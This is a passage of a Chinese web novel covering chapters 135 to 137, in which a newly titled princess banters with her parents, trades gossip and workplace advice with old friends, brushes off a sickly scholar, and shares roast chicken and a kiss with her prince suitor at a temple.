储家那边心怀不轨,但是到底是个什么想法意思还不清楚,身后是他一家还是几家皆需要时间,便是查探清楚找到证据,后面也许谨慎行事免得狗急跳墙。 这些事情,和她这个疯丫头说得清楚吗? 确实说不清楚,但奈何宋锦就是想听,开始一路缠着人。 牛铁兰在耳朵里捂了两块棉花都挡不住她叽叽喳喳的声音,最后忍无可忍,按着人的肩膀把她转了个身,推向一旁往看热闹的曲茂泽那边 曲茂泽手上拿着一本史书,往日有人死在面前都不会挪神的人,这会儿在宋锦叽叽喳喳的声音下,明显恍了神,凤眸轻敛,藏不住那股感慨和艳羡。 什么时候,他闺女才会像现在这般对他撒娇呢? 人果然是贪心的玩意儿,五日前他还因 为小白脸爹四个字得意满足,现在就想和孩子娘的比待遇了。 曲茂泽心生感叹,压下了这过于自私的想法。 他这十来年都没抱过孩子,便是现在也是假身,便是给了她百万家财,郡主头衔,五个能抗能造的倒霉兄长,又算得了什么呢? 孩子大了,主意也大,不能强求。 倒是孩子娘。 曲茂泽噙起笑,合上手上的史书,缓缓起身:“客人一会儿就到了,都是女眷,我不便在此惊扰,你们母女好好玩耍,我去配药。” 说着,他就如同无事人一般,迈着步子缓缓小院。 装模作样,阴险狡诈。 牛铁兰睁着杏眸,从未像此刻一般清楚地认识到男人是真的靠不住,只想着坐收渔翁,逗弄乖巧的好孩儿,养孩子的苦是一点都不想吃。 这闺女是她一个人的吗? 和牛铁兰的恼怒不同,宋锦倒是很满意他的识趣,眯着眼睛看着他的身影完全消失在院门口,满意地转过脑袋,拉着自家老娘的胳膊,想要问出她的小秘密。 亲母女,哪儿能藏私啊。 宋锦:“阿娘阿娘阿娘阿娘阿娘……” 牛铁兰忍无可忍:“找你爹去,什么都找我,我这么闲?” 她现在又要给这丫头准备嫁妆,又要管家,要操心乱七八糟的仇怨,还要养身体,每日时间都安排得满满的,在这孩子面前就成了闲得没事了? 真闲的是那人吧,天天就知道看个破书看热闹。 牛铁兰恼羞成怒,开始忽视曲茂泽的治蛊拿药查人等一系列正事。 反正孩子不是她一个人的,不能净逮着她一个人造。 宋锦睁大眼睛,不可置信地看着她。 牛铁兰瞬间又有些心软,破孩子烦是烦了点,但这些年和她相依为命,从来没问过爹,她这么把人推过去,她肯定受伤。 她心软,想说自己不是那个意思。 宋锦一脸震惊,很是不平地控诉:“你和他说都不和我说?阿娘你果然重男轻女、重色轻女、轻女轻女,轻唯一的女儿……” 牛铁兰:…… 一日是倒霉孩子,一辈子都是。 “我是重聪明轻笨蛋。”牛铁兰忍无可忍,一巴掌拍张踹在她屁股上,动作不重,但是伤害性极强,她恼,“有什么事找你爹去,别来烦我。” 这种操心事,就该让他来。 宋锦捂着屁股,鼓着嘴,气呼呼转身离开,走出小院的时候,另一边正好对上携女拜访的杨彦珺程思懿两人,她一个停顿都不带,转身朝着另一边走去。 那气势汹汹的模样,一看就是去找茬。 杨彦珺牵紧了穿着赤狐红毛的小花,有些纳闷:“她这又怎么了?大过年的气冲冲,看来咱们过来得不赶巧了。” 可是拜贴也是提前送的,赶上了也没办法。 好在宋府能处事的女主人向来不是宋锦,她气不气在不在也不影响什么。 杨彦珺摇了摇头,继续牵着小花朝着小院走去。 小花侧着脑袋,远远看着宋锦的背影,扁着嘴,蔫蔫的,再没有之前的精神劲。 回了尚书府,她自然是再也不缺吃喝了,但是日日学这学那的,脑袋都快炸了。 小花怎么想怎么想不通,她这么小的崽子学这么多干什么,不能吃也不能喝。 她本来还想着找同道中人郡主一起说坏话呢。 唉。 同道中人宋锦没注意几人,她风风火火地朝着后院走去,此刻只想着找曲茂泽那道貌岸人的混蛋麻烦,她给他创造机会,特意给他挪窝,他和她抢人,还背地里有小秘密不告诉她。 呵,男人。 宋锦气势汹汹,走在路上就跟一阵狂风似的,让人想要装作不知道都没办法。 曲茂泽刚走回院子,刚打开布满了药材的箱子,轻声叹气:“不和你娘玩了?” 宋锦双手抱在胸前,冷嗤一声:“玩玩玩,堂堂大男人脑子里都在想什么呢?不务正业” 曲茂泽轻叹一声,转而拿出箱里的药:“要看看药吗?你娘现在服用的是火茄虫为主药,最是驱寒,却也烈火烧心……” 宋锦看着那一箱子各种虫子干尸,密密麻麻,狰狞恶臭,肉眼看着不似药物,更似蛊毒,但是仔细看,每一样可以作为主药的虫,身上都带着气,虽然不强,却称得上也灵虫,也不怪能有这般奇效。 她蹲坐在一边,撑着下巴静静地听着他说,没有开口,身上的汹汹焰火熄了下去,静悄悄的,和窗外的落雪相映。 这般看着,倒是有几分牛铁兰的模样。 曲茂泽说话的声音也轻柔许多,除了牛铁兰需要用的,也给她介绍着其他的蛊虫,说着关于蛊族的事情。 他其实并没有在蛊族生活过,但是那几年里,他娘日日对他说起,他仿若也变成了从小在蛊族生长的人,对蛊了若指掌,也至于后面一个人回去,也能轻易拿捏了蛊族最后的传承人虫老一家。 宋锦静静地听着他说,好一会儿,抬眸看他:“疼吗?” 曲茂泽轻叹:“自是疼的,不过你别担心,我已经尽量压制了,不会让你娘受太多苦痛。” 宋锦:“我说你。” 曲茂泽一怔,侧眸看去。 她下巴埋在胳膊里,只露出上半张脸,仿若只是随意一问,但狭长的凤眸看了过来,漆黑的瞳中映着他的身影,一眼不眨。 曲茂泽心里说不出是个什么感觉,看着她那张和自己相似的脸,轻声:“不疼。” 宋锦没有说话,双眸宛如狼目一般,就这么盯着他。 曲茂泽抬起手撩开袖子。 宽大的长袖下,他手腕白皙,上面无一点瑕疵,看着就像是锦衣玉食的富贵人,没吃过一点苦,但表面的光鲜之下,实则早已千疮百孔。 他笑:“你娘心疼我,不让我放血,我恢复得快,不碍事。” 宋锦紧紧盯着,好一会儿:“骗子。” 曲茂泽失笑:“其实还好我比起一般人更耐疼,而且还可以驱蛊,真的不疼。” 更何况,经历过那般折磨痛苦,这些皮肉的疼痛对他来说确实不痛不痒。 宋锦没有说话,但是眼中依旧明晃晃写着骗子两个大字。 曲茂泽看着她这么蹲在自己对面,有些手痒,忍了半天,还是没忍住伸出手,轻轻地放在她脑袋上贴了贴,软乎乎,圆圆的。 他扬起了唇:“这是怎么了?大过年的,要开开心心才是。” 宋锦难得没有拍开他的手,眼睫轻颤,像是被霜打了白菜,更似雨天淋湿的狗崽子,蔫头蔫脑。 曲茂泽有些 心疼,声音越发轻柔:“到底怎么了?和爹说说,是不是有人欺负你了?” 宋锦闷声:“你和我娘有事都不和我说,把我当外人。” 曲茂泽抚着她脑袋的手犹如被火烫了一般被收回,再看她这蔫哒哒的模样,好像看到那淋湿的狗崽子竖起了耳朵,鬼鬼祟祟,怎么看怎么装模作样。 他就说怎么突然奇怪了起来,原来在这等着他啊。 不错不错,都学会拐弯抹角了。 曲茂泽好笑又无奈,他可没有孩子娘那般有底气,对待人也不能那般随意,他看着这难得愿意装模作样的孩子,思索片刻,站起身,走到一旁架子上翻了本书出来。 “金金怎么可能是外人,只是你还小,知道的太多容易不长个,不如多看看书,等书看懂了,自然也就知道了。” 有些事情好说,也不好说,终究还是要靠自己感悟。 他觉得凭借自家孩子的聪明,想透事情肯定没问题。 宋锦看着那有她巴掌厚的史书,头发都快炸了起来,再看曲茂泽的温和暖意,唰一下站了起来,冷笑一声:“卑鄙小人。” 以为她会上这个当? 读书,狗不读。 她难得愿意和他拐弯抹角的打探消息,不主动献上真相就算了,还敢耍她。 宋锦恶狠狠瞪着人,呸了一声,气势汹汹地离开。 变脸之快,曲茂泽错愕。 他看着手中记载万历的史书,再看看宋锦气势汹汹的背影,怎么看,怎么有种落荒而逃的仓促感。 良久,他失笑,轻喃:“不会都看不懂吧。” 这不喜欢和不会,可是两码事。 第136章 妈宝又矫情 “意思是你以后就留在都城了?” “啧啧,厉害厉害。” “舒程浩你看看人家,再看看你,我都不好意思说你是我的狐朋狗友了。” …… 酒楼里,舒程浩听着对面的嘀咕,忍不住翻了个大大的白眼。 会不会说话呢? 什么叫狐朋狗友,他好歹也是举人老人好吧。 好吧,举人在郡主面前不值一提,看在一桌子的好饭好菜份上,舒程浩忍气吞声,把小伙伴都奚落当王八念经,努力吃着东西。 他要吃个够本。 虽然说舒程浩家中条件不差,但那是在县里面,而且他舒老爷子又是个在生活上十分节俭的人,可以花千两银钱买书买古董,一贯铜币买菜却要扣扣搜搜,他以前经常和宋锦混,除了她的大姐大威风之外,就是跟着她天天都有肉吃。 相比起他这个小少爷,严盛这个贫苦出生的农家子看起来更像贵公子,吃饭细嚼慢咽,看起来有模有样的。 宋锦来之前才吃了好些零食,没一会儿就吃饱了,擦着嘴,懒洋洋靠在椅子上:“舒程浩,你饿死鬼投胎啊,怎么的,没钱吃饭了?” 人一来脑袋就埋着在饭里面出不来了,她很是纳闷。 “还是说你家书铺倒闭了?” 舒程浩翻了个大大的白眼,一个字都懒得说,眼里全是吃的。 严盛替他解释道:“阿浩这几日发愤图强,日夜研习,没怎么吃饭。” 主要是宋行之的那些资料珍贵,他们不能拿给书童小厮誊抄,只能自己来,又不能耽搁太久,想着誊抄好还给人家,这段时间抓紧时间,总算是将其全部誊抄了下来。 累是真的累,但是受益也颇多。 不愧是年十六的探花,各种思想见识,便是再过十年他也难以企及,不怪人十年时间就从九品做到三品。 严盛心生惭愧。 宋锦只觉得他们有毛病,这读书多一天少一天,快一天慢一天,也就多个心理安慰了。 她撇嘴:“不懂你们这些读书人。” 严盛笑:“是不差这一天两天,但日积月累,一日多学一个时辰,一年就比他人多上一月。” 宋锦打了个寒颤:“不说这个,我这人听不得读书的事,继续说刚才的,你留在都城当差了,你家里人呢?不会也要接过来吧?” 严盛神色一黯,叹声:“心有余而力不足。” 在乡下时候,家里有田有地,自给自足也能过日子。都来都城了,柴火井水都要钱,一家子坐吃山空就靠他一个人,实在是艰难。 他作为最底层的官吏,俸禄并不算高。 宋锦表示了解了,也觉得还好他有心无力,不然就是自找麻烦。她又看向舒程浩:“你呢?舒老爷子不过来看看你?” 舒程浩打了个饱嗝,揉着肚子,郁闷:“老爷子说怕我考个十年八年都考不上,懒得过来看我折腾,他要弄铺子。不过给我寄了钱,让我买个院子,以后不行还能卖出去。” 宋锦啧啧:“看看你爷爷,再看看你。” 舒程浩倒是想反驳,但是仔细一想。 读书都不过别人,生活还得靠爷爷,得,他认了。 宋锦又问严盛:“你们这次有多少人留都来着?分到外面的,有去泗安县吗?说起来,老肖还没到都城啊?半年不见,还挺想他的。” 是想要炫耀吧。 肖县令都变老肖了。 “泗安县过来路途遥远,肖县令在那边多年,拖家带口的,县令夫人身体又不好,少不了收拾一段时间。现在过年也不上任,年后他应该就来了。至于我这边同僚”说到这他顿了一下,眉头不自觉蹙了起来 “和这届探花郎一个地,运气不错。” 其实严盛是觉得这事有些过于巧了,但是他一个小喽喽,应该还是不值得他们费心才对,除非,他抬头看向对面眉眼飞扬的人。 宋锦意外:“探花郎?那个猪,朱?苟?” 严盛嘴角一抽:“储,储承安,储探花。” 宋锦:“哦哦,就是他,那个病秧子” 说着,想到之前几次遇见男人的伤春悲秋,她看向严盛的目光都带上了藏不住的同情。 和这么个体弱多病心思敏感的储妹妹共事,以后可有得他受了。 严盛:“怎么这么看着我,他,有什么不对的?” 难不成婶子已经查出来什么了?还是宋锦察觉到了什么? 宋锦摇头,同情:“他身子骨不好,以后肯定干不了什么活,那些活谁来干?” 定是严盛这种没根没底的人啊 她以前也带过这种大少爷,那两个月,简直一言难尽,她宁愿出去和异兽生死搏斗也不想再感受。而她受折磨一时的 ,毕竟她能力强,严盛这个就不好说了。 宋锦唏嘘:“恶臭的职场啊。” 还好她现在是万恶的统治阶级了,万岁。 严盛:“……能者多劳。” 难不成真是因为这个?相比起家世出众的探花郎,他这个乡下出生不上不下的人,确实很适合用来干活,顺便照顾人。 宋锦同情地看着他,好歹是自家带大的出息人,她也不能眼睁睁看着人被踩,想着这人老实的性子,又和他传授起了职场秘诀。 “一个字,忍,忍一忍总能过去的,忍不了还是得忍,菜就挨打。” “脸皮得厚,别人骂你你得当夸奖,别人揍你,那可就来钱了。” “吃亏是不是福,不白吃亏才是福。” …… 虽然宋锦现在已经是郡主,有宋府为靠,有齐铮作依,除了最上面那位,她基本无所畏惧了。但是在这之前,她也还是怂了很多年咧。 在乡下时候,面对普通村民劫匪她一贯重拳出击,但对着衙役官吏还是得敷衍讨好的。在能屈能伸这上面,她很有一番经验。 舒程浩能和她混成狐朋狗友,在这方面也半斤八两。 两个人说得有模有样(没脸没皮)。 对此,严盛大为吃惊,也倍感惊艳,虚心求教。 三个人就坐在靠街的饭桌上,聊了起来。 年轻男女,在民风开放的大衍其实不算什么,但两男一女,还是比较显眼了,更别说三人长得都尤为出众。 时不时会有人看了过来,宋锦不太在意,她要是在意外人的目光,一开始就去包间了,说坏话嘛,就是要在外面说才有意思。 宋锦就这么大摇大摆地说着心得,说着说着,又说起了严盛后面的各个上司,这些,她在外面乱窜的时候没少听到。 八卦高手永远是藏于民间的咧。 “吏部尚书,一把年纪,及其好色,前两个月还娶了个十五岁的姨娘,年纪还没他小女儿大,臭不要脸,指不定荤素不忌,你个小白脸离他远一些,小心被占便宜。” “还有那个左侍郎,本事没有,嘴巴不小,上次还嚷着要兴文收武,觉得大衍将士太多,费钱费力,我费他爹的废人一个,前两个月他那废物儿子在赌桌上输了一千两,把这玩意儿废了比什么都管用。” …… 严盛还没正式入职,就已经把上司们的私事给听了个遍。 听得他眼皮直跳,总觉得后面的职场环境十分黑暗,听得他背后发凉,正要打断人,给后面生活留点白,免得日后见到上司只剩下黑。 身后传来一道斯文有力的声音:“盛大人?明光郡主?你们也在这用膳?真巧。” 宋锦看了过去,眼皮子一跳。 所以说不能背地里说人坏话啊,这不是就说曹操,曹操到了吗? 严盛起身:“……储大人也出来用膳?” 储承安笑:“今日风和日丽,煦色韶光,又无需朝事,便想着出来走走,没想到会遇上严大人和郡主,只听说严大人和郡主是一个地方来的,没想到你们竟然这般熟稔。” 宋锦杵着下巴看了看笑得跟花儿似的储承安,若有所思:“这次泗安县就你一个人考上进士吧。” 泗安县的教育还是不错的,这次进都城参与会试的人足有三个,出去严盛和舒程浩,还有把严盛是做对手,经常说宋商这个奸臣坏话的陶志义。 这人往年没少被宋锦气得跳脚,现在考上举人了,进城前都想好了如何和宋锦耍威风,得知她成了郡主,面都不敢露一个,会试成绩一出来就马不停蹄跑人了。 怂货一个。 严盛愣了一下,斟酌道:“府城还有两位学子,殿试成绩一个在我之上,一个差两名,都外派到外地来。” 宋锦点了点头,再看向储承安,若有所思:“你知道的倒是多。” 储承安笑着过来坐下,神色轻柔:“家叔这几年在外游历,前段时间便在泗安县教学,对严大人格外看好,还特意写信回来让我照看。不过前段时间都城事情颇多,我见严大人胸有成竹,有条不紊,便也没做多的打扰。” 严盛被说得猝不及防。 这话听着怎么就不对呢,说起来倒像是恩师惦记,严盛这个当学生的都不记得上门拜访一下。 虽然事实是这个样子的,储邵在泗安县时候对严盛很是照顾,自然有恩,但是泗安县出事之后,他走得也突然,一个信都没留,现又不在都城,谁知道他的心思啊。 严盛若乍然登门,倒显得他攀附于人,更何况,他如今确实对于储邵心有桎梏,不愿牵扯关系。 严盛下意识看向宋锦,见她脸上没什么变化,在心中松了口气,苦笑一番,回道:“储大人说得在下羞愧,没想到辜负了储夫子一片好心。实在是。唉,当初夫子走得匆忙,我还以为,是那日谈话,让他失望了。” 储承安眸色深了深,正要开口。 宋锦来了兴趣:“你说什么了,得罪了人?来来来,我帮你参谋参谋,免得以后再犯。” 严盛苦笑:“倒也不是什么大事,只不过,夫子当时要介绍红袖相伴,被我拒绝,可能是嫌弃我土气,少了文人风骨吧。” “这些老头子,啧,别听他们的,一个个风骨风骨,也不看看就自己那糟老头模样,还好意思糟蹋小姑娘,一个个乱七八糟的,染了病的。哎,你们以后也注意点,小心被传染,当然,我不是说你们哈” 宋锦有些嫌弃,想着想着,又看到储承安几个,勉勉强强给了面子,还是没忍住嘀咕:“不过也不好说,男女授受不亲,你们一群男人自己聊,我先走了。” 说着,她忍不住搓了搓手,走得格外小心翼翼,不与他们任何一人进行半点接触。 这些男的一个个都没有男德,家里一堆外面一堆,不细想不知道,多想想,宋锦可怕他们把什么乱七八糟的脏病传给她了。 什么?就是有病,正常吃饭什么的也不会传染? 那她也嫌弃啊。 宋锦走得匆匆忙忙,那股子嫌弃劲是真的藏都藏不住,仿若这些个男的都是什么脏臭玩意儿一般。 作为老熟人了,严盛和舒程浩接受良好,他们身正不怕影子斜。 储承安几人没一个脸色好看的,尤其是他身后的几个年轻男子,若不是现场还有外人,指定得破口大骂起来。 储承安看向严盛这个土包子的眼中带上了狐疑,不确定他是有意还是无意。 严盛尴尬,苦笑:“金金,郡主她从小就是这个脾气,没有恶意,各位大人莫要放在心上。” 储承安收了视线,一片和气笑道:“郡主贵为郡主,哪儿是我们能计较的?只是没想到严大人和郡主这般熟稔。” 严盛带着些不好意思道:“我和郡主是一个镇上的,我能有幸读出来,也是郡主和婶子资助。” 储承安:“竟还有这般内情,对了,还没给严大人介绍,我身后这位是吏部左侍郎家的小公子沈集,这边是……” 几个人在原地寒暄。 宋锦嫌弃是一回事,不想和人接触又是一回事,她可不是会为了朋友死党委屈自己的人,憋气给他们铺路,梦里面肯定有。 大男人志在四方,自己拼自己的去。 小男人,也跟她没关系。 她离开客栈,想了想,朝着午马街走去。 就在初六时候,家里小眉小耳阿茂小多正式消了奴籍,成了自由身,现在在外面,有小院有骡车有店子有存款,只要不乱折腾,就是在都城也可以稳稳地过自己的小日子了, 宋锦过来的时候,他们几个还在忙活。 四个人里,小耳和小多一个脑袋空空,一个脑袋傻傻,一个当开心果,一个纯干活守家,可以忽略不计。 小眉和阿茂两个都是有想法会处事有野心的人,得了自由第一件事,就是把几个人的钱凑起来,拿下了他们铁匠铺旁边的店,用作粮食碳火店 两边相辅相成,红红火火。 他们又请了两个上杨村的小子当小二,他们比胜哥福哥打上两岁,能说会道,会算数,很是机灵。 宋锦过来的时候,福哥也在,他过来这边铺子买粮食,到时候拿回去酒铺酿酒。 弄来弄去,几个人都合成一个圈抱团了。 这也是这年头再正常不过的事了,独木不成舟,熟人越多,生意越好。 “郡主” 宁宁迈着小步子跑了过来,咧着小米牙,很是开心。 她最终还是没有被杨彦珺收养,她也没有回宣平侯府,继续当着无父无母的小孤儿。 宋锦不知道这小崽子以后会不会后悔,但至少现在人还是很开心的,她笑了笑:“怎么哪哪都有你啊。” 宁宁咧着嘴,骄傲:“宁宁干活,跑多多地方,以后攒钱买大寨子。” 宋锦挑眉:“哟,不错不错,就是要有这个志气,那赶紧去帮着搬东西吧。” 瞬间,宁宁蔫了下来:“搬不动” 她才是个五岁崽子啊 宋锦哈哈一笑,又逗了逗小崽子,走到铁匠铺那边。 其他几人有自己的事,不一定在这里,但小多作为铁匠,是常驻地。不过今日,除了他以外,旁边还站着个绷着娃娃脸的简高义 宋锦一来,就对上了小多求救的目光,她一个步子挪动,转身开溜。 这小舅子和姑爷的事,是她能掺合的吗? 到时候闹个不对,小耳肯定又哭哭啼啼碎碎念念个没完,说没准还要跑回家找牛铁兰告状,宋锦才不给自己找这个麻烦,她看热闹也是要挑的。 就这么,她在外面绕了一圈,最后拿着一捧糖葫芦往家里走。 走到宋府三条街外的时候,身后马蹄声响起。她非常讲道理地退到一边,留足了空间,一边啃着糖葫芦,一边大步走着。 “郡主。” 马车停在一边,车帘掀开,储承安再次出现,他温润如玉,书生意气,俊朗飘逸,只可惜病气太重,瘦瘦弱弱,身上没个二两肉,跟白斩鸡似的。 他看着宋锦,脸上露出惊喜的笑容:“郡主,又见面了。” 宋锦哦了一声:“车子又坏了?” 储承安无奈一笑:“若次次都坏,要府里马夫何用?” 宋锦点点头:“也是,那你快点回去吧,别在这吹风。” 免得到时候吹坏身子,她还要倒霉受牵连。 储承安看着她毫不留情的模样,神色黯了下去,轻叹:“我 从小身体就不好,所以一直没有人愿意靠近我,外人都说我运气好,生在储家这大家族,若是普通家庭,可能早早夭折。若是可以,我宁愿在普通人家,得个好的身体……” 宋锦咔咔啃着糖葫芦,听他念叨着,就像听唐僧念经似的,脑袋都大了。 她也不是第一次听这人说起这些了,诚然,他身体不好确实挺倒霉的,但是人要往前走啊。她娘一个弱女子以前身子骨比他还差,也没有这般日日念叨的啊。 宋锦深深叹气,想直接走,又想起自家同样生病的阿娘,想了想,抽出一棵糖葫芦递了过去,安慰道:“你往好的想,万一你真生在普通人家,还是这副病秧子模样你可怎么办?” 储承安神色一僵,酝酿好的情绪散了大半,看着眼前的火红廉价糖葫芦,眼中嫌弃一闪而过,但他很快又扬起唇角,接过了糖葫芦,带着些怅然 “家里管得严,我娘从来不让我吃这些,小时候我曾经偷偷吃过,没想到害得身边小厮被罚,后面就再也不敢尝试了,那种滋味,谢谢郡主,郡主真” 好字还没出口 宋锦一把抢回糖葫芦,在储承安震惊的神色下,她轻咳一声,往后后退两步:“怪我想不到位,你身子不好还是别乱吃东西了,快回去吧,我先走了。” 说完,她就跟身后有鬼似的跑开,直到钻进了小巷子里,才狠狠松了口气,拍拍胸口。 妈妈呀 好险,好险,差点就被碰瓷了。 这种妈宝又矫情的病秧子,谁惹得起啊。 第137章 那可是王爷 正月十五喜元宵。 一大早,侍卫守在正东城门口上,待到更声传来,绝不带半分拖延,甚至有些急切地打开城门,为守在门口的整齐列队让开路。 哒哒哒 马蹄声下,身披盔甲的兵队或走步或骑行,就这么前前后后地走出了城门,列在两边等候。在这之后,其他城门陆陆续续开放,但周围两道侧门依旧只有零星车门路过,少有人敢过来。 这般半个时辰之后,更为浩大的车马声势从远即近。 兵马开头,黄旗殿后,八驾马车由远及近,威风凛凛,带着整齐的脚步声,就这么越过城门,朝着城外走去,尘土飞扬。 直到队伍身影彻底消失,正东城门缓缓关上,直到出去的马车回来,才会再次打开。左右的守卫也未离开,上上下下左右巡守,生怕像上次那般有人藏于墙头谋刺。 皇家队伍乍一出门格外惹眼,威风凛凛让人不敢轻举妄动,但是过了也就过了,永安城最不缺的就是权贵,没一会儿,停滞的人流车马继续通行,来来往往,继续每一日的生活。 直到日出东方 温暖的日光驱散寒意,晨光撒在山顶的道顶上,泼洒光芒,映着袅袅青烟,照耀在道观里攒动的人群上。 今日的天气格外的好,让本就因为元宵而热闹的三清观越发热闹,来来往往的人格外的多。尤其是那红线树下,经过一个春节的洗礼,上面密密麻麻挂满了红绳,就连那外面矗立的十米高的巨大铜器里也满满当当装满了东西。 “娘娘娘,快还愿。” “虔诚,虔诚一点,手再一点点。” “对对对就是这样。” …… 牛铁兰站在铜器下,轻轻闭着眼睛,虔诚地许愿。 一愿自己身体安康,这样她就能伴着孩子长大,见她成婚生子,无虑无忧。 二愿闺女前程似锦,一切顺利,无虑无忧,所有阴谋破散。 三愿那人,平安顺遂,再不卷进去那些纷扰。 四愿爹娘平安快乐。 …… 牛铁兰知道自己有些贪心,但是她以往都这般不幸了,贪心一点也无碍吧? 但是很快她就知道做人不能贪心,因为,在那破闺女的打扰下,她又是被按着脑袋又是摆手又是乱七八糟心不诚,在许愿器下站了半天,一个愿望都没说完。 这死丫头。 牛铁兰忍无可忍:“一天天就知道装怪,一边玩儿去。” 宋锦看着她娘暴躁的模样,嘀咕:“今天天气这么好,你怎么这么暴躁啊,虔诚,虔诚啊娘亲,心诚则灵,菩萨才会保佑你。” 牛铁兰自认为心已经很诚了,都这会儿了都没当着菩萨的面收拾这孩子,她扯着嘴角,抬起纤细白腻的巴掌,微微一笑。 纤细的巴掌香不香的不好说,但是打人都挺疼的。 宋锦缩了缩脖子,拉过旁边的曲茂泽往前:“大过年的不许打孩子,你要打就打他吧,他皮糙肉厚,耐打。” 曲茂泽噙着笑,非常配合地伸出手,悠悠:“打吧。” 牛铁兰气笑,用眼神狠狠剜了剜父女俩,转身就走。 这破愿谁爱许谁许,天下神仙真有这般灵,也不会有那么多悲剧发生了。 这变脸速度,宋锦嘀咕:“我就说她心不诚吧。” 曲茂泽抬手敲了敲她脑袋,轻笑:“别老气你娘。” 宋锦瞪他:“你别得寸进尺。” 曲茂泽轻轻一笑,又弹了弹她脑袋上的步摇坠,表示自己还真就是这般得寸进尺,然后就挨了一巴掌。他也不在意,悠悠收回手,含笑:“好了,自己玩去吧,我去找你娘了。” 说着,他转身朝着牛铁兰走去。 “烦人。” 宋锦站在原地,眯着眼睛捏着手,看到他走到了自家娘亲的旁边,这才慢悠悠转过身,熟门熟路地朝着道观后院走去。 这地她熟,绕过几个前院,再绕过后院,就来到了这边后山处,看到了那边火堆前熟练烤着烤鸡的人。 她眼中狡黠一闪而过,轻手轻脚走了过去,蒙住人的眼睛,粗声粗气:“猜猜我是谁。” 对于两个内力深厚,武艺都高强的人来说,这个游戏就像是在桌子上摆了一个茶壶,问水藏在哪儿。 更别说,她蒙住人的眼之后,就这么蹲了下来,脑袋搭在他的肩膀上,两条修长有力的长腿绕着腰,就这么缠在人身上。 齐铮沉默好一会儿:“是,山里的黑熊?” 宋锦咧着嘴:“不对,黑熊不喜欢吃烤鸡。” 齐铮继续沉默,继续瞎蒙:“野猪?” 脖子上被咬了一口。 宋锦瞪眼:“再猜。” 齐铮:“蝴蝶?” 宋锦:“不对不对。” …… 几番下来,齐铮又道:“蜘蛛?” 宋锦嗷呜重重一口:“我生气了。” 齐铮眼中闪过笑意,就着人 的手,轻轻用力把人转了过来抱住:“好了,再闹腾一会儿烤鸡都老了,大老虎。” 宋锦轻哼两声,这才松开他的眼睛,低下脑袋,重重一口磕在他的脸上,这才从他身上跳下去,盘腿坐到对边,开开心心吃起了烤鸡。 她吃过这么多烤鸡,齐铮做的绝属第一,没有半点争议。 齐铮看她吃得开心,把一旁的茶壶递了过去免得人噎到,又开始拿起另一个腌制好的烤鸡串好,放在炭火上面烤着。野鸡不大,也就一斤出头,正是嫩的时候,没一会儿就又散出了香气,表皮的油渍噼里啪啦炸开,香气逼人。 宋锦深深嗅了嗅,心满意足地继续啃着嘴边的烤鸡,她也不吃独食,还非常贴心地撕了两块递到齐铮嘴边。 齐铮忽视她油滋滋黑乎乎的手,咬过鸡肉,在她收回手的时候,一把抓住,然后拿出一旁备好的手绢湿了水,给她擦着手,从手心到手背,再到指缝,很是仔细。 他在江湖的时候风餐露宿多年,说不上多讲究,衣服经常破烂,随口吃些硬饼,但是只要有条件,碰上河流便会简单洗浴。现在有条件了,他更是早晚沐浴,很难闻到汗味,也少有黏腻的香薰味,取而代之是清爽的皂角味。 当然,一般人不能和他学,容易染风寒英年早逝。 宋锦歪着脑袋看着他,他眉头锋利,鼻梁高挺,俊美又带着几分利气,让人很难和他正视,这会儿人就低着脑袋给她擦着手,仔仔细细,她自己平日都没这么精细咧。 她的目光灼热,像是冬日的烈阳,很难忽视。 齐铮顿了一下,直到擦好了,才抬起头:“好了。” 宋锦收回手,又把另一只手递了过来,刚才擦干净的手又染上油渍。 不过这也正常,现在也没有什么防油手套之类的,除非用筷子,不然总要重新洗手的。 齐铮没说什么,看着油滋滋的手,又湿了手绢给她擦洗。 重复了一遍。 宋锦收回手,又把脑脑袋凑了过来,一双凤眸闪着碎光,她努了努嘴,嘴角一圈都染着油烟,意思不言而喻。齐铮没忍住捏了捏她的脸,在她瞪眼下,继续给她擦脸。 在宋锦看来,自己这个对象哪儿都好,就是有些太古板了,一点儿都不热情。但是,在齐铮看来,他行走江湖多年,比起一般世家公子,已经是很不注重规矩的了。 毕竟,江湖男女,多豪爽浪荡,并没有那般在意男女之别,而苦难之人,活着就已艰难,更无心在意这些。他和人保持距离,也不过是不想让人误会,免得因为误会麻烦。 对于心上人,他这又搂又抱,怎么也算不上保守古板。 奈何碰上这么个完全不按常理出牌,不在意世俗的宋锦,他只能老老实实认了她的‘嫌弃’。 齐铮看着近在眼前的脸蛋,敛下眸,又轻轻给她擦了起来。 她性子极其张扬,长相也一般明艳大气,明眸皓齿,皮肤白皙,像是盛开的牡丹花,妩媚娇艳,又似夜间点燃的火把,张扬炙热,但不管是哪一种,都让人难以忽视。 宋锦明亮的双眸就这么看着他,看着他绷起的肌肉线条,看着他深下的眸子,听着他哑了两分的声音。 他:“好了” 她咧了咧嘴,脑袋往下一压,艳红的唇瓣就压了过去。 齐铮漆黑的眸子对上她兴奋的眼,顿了一下,一只手按着她的脖颈,另一只手压着她的腰把人压到怀里,这才重重咬了回去。 …… 齐铮是个忙人。 准确点,是非常忙。 他每日要练武,要上朝,要上课,要上值,要出策,时不时还要参与宴会,和官僚往来,要抽出时间处对象,还要,解决莫名其妙的案情。 这个一般是找衙门才对,但都城这般多人,他经常出门,总会碰到几个不平,一碰上了,他又不能视而不见。 就这么,在他接二连三的‘多管闲事’之后,他的名声就传了出去。 对,就是那个民间长大才回来的王爷。 有钱,去他那儿乞讨总能要到点东西。 有权,前段时间有尚书之子调戏民女,就被他当街罚了。 有善,有带货车马翻倒惊了他的车驾,他不仅不责备,还帮着收理货物。 有武,路上有人发疯伤人,被他一手制止。 …… 在齐铮还不知道的时候,他的名声在底层传得比他想象得远多了。 “岐王俊着咧,孔武有力,身板好得不得了,我上次啊,背了一背萝卜,路滑不小心扭到腰了,他替我背的。那可是王爷背过的萝卜,我都没舍得吃,现在还放屋里咧。” 杂乱的小巷子里,小方茶桌立在路边,一群四五十岁的大爷大娘围在一起,听着最中间的大娘吹嘘被王爷英雄救美的经历,其他人纷纷反驳。 “吹吧,你就吹,人王爷给你背东西?” “就是就是,他就是好心,没个小厮护卫什么的?” “你可别是被骗了。” …… 大娘不乐意:“怎么的,王爷就不能一个人出来了?” 出是能出来,但是那可是王爷,帮着背东西,谁信啊。 一群人又围着吵了起来,你一句我一句,嗓门极大,非要争个对错,也没人在意一旁的锦红少女。 宋锦嗑着瓜子,听得津津有味,直到他们彻底说偏了,说着说着又说到河里的飞龙去了,她才转身离开,又往那些个茶馆酒楼里面钻。 